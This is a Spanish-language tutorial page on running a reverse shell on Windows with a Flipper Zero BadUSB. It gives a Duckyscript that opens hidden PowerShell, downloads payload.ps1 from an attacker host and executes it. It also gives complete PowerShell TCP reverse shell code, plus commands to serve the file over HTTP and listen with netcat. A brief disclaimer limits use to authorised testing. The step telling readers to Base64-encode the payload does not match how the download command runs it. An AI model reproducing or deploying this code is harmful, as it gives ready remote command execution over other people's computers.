👿Duckyscript Reverse Shell
En esta página encontrarás un ejemplo de cómo podemos ejecutar una reverse shell con el Bad USB para acceder a un sistema Windows de forma remota.
Este script y sus instrucciones están diseñados para fines educativos y para realizar pruebas en entornos con permiso explícito. El uso no autorizado de estos scripts es ilegal y puede tener consecuencias graves.
Script en Duckyscript
REM Configuración: Cambia [IP_ATACANTE] y [PUERTO] a tu servidor y puerto deseados.
DELAY 500
GUI r
DELAY 500
STRING powershell -w hidden -NoP -NonI -Ep Bypass -C "IEX(New-Object Net.WebClient).DownloadString('http://[IP_ATACANTE]:[PUERTO]/payload.ps1');"
ENTER
Guardamos este script como revshell.txt
y lo guardamos en el Flipper Zero con qFlipper dentro de la carpeta de BadUSB:

Pasos explicados
1. Archivo payload.ps1
En tu máquina de atacante, crea el archivo payload.ps1
que contenga el código de PowerShell para una reverse shell. Aquí tienes un ejemplo de contenido:
$client = New-Object System.Net.Sockets.TCPClient('[IP_ATACANTE]', [PUERTO]);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
}
$client.Close();
Necesitamos codificar en Base64
el payload para que se ejecute correctamente. Podemos usar CyberChef por ejemplo:
Una vez lo tenemos codificado en base64 guardamos el archivo payload.ps1
2. Abrir servidor local con python
Sirve este archivo en un servidor HTTP simple, como:
afsh4ck@kali$ python3 -m http.server 80
3. Abrir listener con Netcat en Kali Linux
En otra terminal abre un servidor de escucha para recibir la conexión de la reverse shell:
afsh4ck@kali$ nc -lvnp [PUERTO]
Asegúrate de que tu máquina sea accesible desde el objetivo, configurando correctamente la red o el port forwarding si es necesario. Si están conectados a la misma red funcionará sin problema.
Ejecutar el script
Conecta el Flipper Zero y ejecuta el script en un sistema Windows objetivo.
El script abre PowerShell con la combinación de teclas
Win + R
, descarga el payload desde el servidor HTTP y lo ejecuta de forma oculta, devolviéndonos una reverse shell a nuestra máquina de atacante.
Última actualización
¿Te fue útil?